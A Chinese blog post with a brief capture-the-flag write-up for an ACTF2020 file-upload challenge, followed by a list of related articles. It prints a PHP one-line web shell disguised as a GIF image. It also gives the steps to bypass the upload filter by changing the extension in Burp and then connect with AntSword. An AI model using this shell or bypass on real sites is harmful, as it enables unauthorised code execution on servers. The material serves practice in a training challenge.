当前位置： 首页 > article >正文

[ACTF2020 新生赛]Upload1

article 2025/1/14 4:21:17

1、点开题目链接，页面显示如下，上传test.jpg里面包含一句话木马

GIF89a? <script language="php">eval($_REQUEST[1])</script>

2、使用bp抓包修改后缀，点击发送

3、不关浏览器的代理，在bp中将该包放行

4、用蚁剑连接

5、在根目录中找到flag


http://www.kler.cn/a/301314.html

相关文章：

  • 【centos8 ES】Elasticsearch linux 龙晰8操作系统安装
  • Go语言之路————go环境的初始化
  • GRE技术的详细解释
  • 【Vim Masterclass 笔记09】S06L22：Vim 核心操作训练之 —— 文本的搜索、查找与替换操作（第一部分）
  • 怎么抓取ios 移动app的https请求？
  • 微信小程序——创建滑动颜色条
  • 探索Python世界的隐藏宝石：Pika库的神秘力量
  • 基于JavaWeb开发的Java+SpringBoot+vue+element实现汽车订票管理平台详细设计和实现
  • 个人学习笔记7-1：动手学深度学习pytorch版-李沐
  • 正则表达式--python
  • C 盘突然爆满，罪魁祸首竟然是 ...... ！
  • 并发编程（八）
  • 智能的PHP开发工具PhpStorm v2024.2全新发布——支持日志文件
  • 【Jupyter Notebook】汉化
  • 使用 Python-docx 进行 Word 文档操作
  • 最新HTML5中的视频和音频讲解
  • Computer Exercise
  • java-redis-穿透
  • .NET 一款支持NTLM实现横向移动的工具
  • Python实现模糊逻辑算法
  • 今年白银市场的供需关系矛盾
  • Java教程：SE进阶【十万字详解】（上）
  • Android Environment 获取的路径问题
  • MySQL灾难恢复策略：构建稳健的备份与恢复机制
  • vue3项目npm i安装依赖一直转圈或安装失败解决方法~
  • CCF刷题计划——矩阵运算（同时转置+乘法）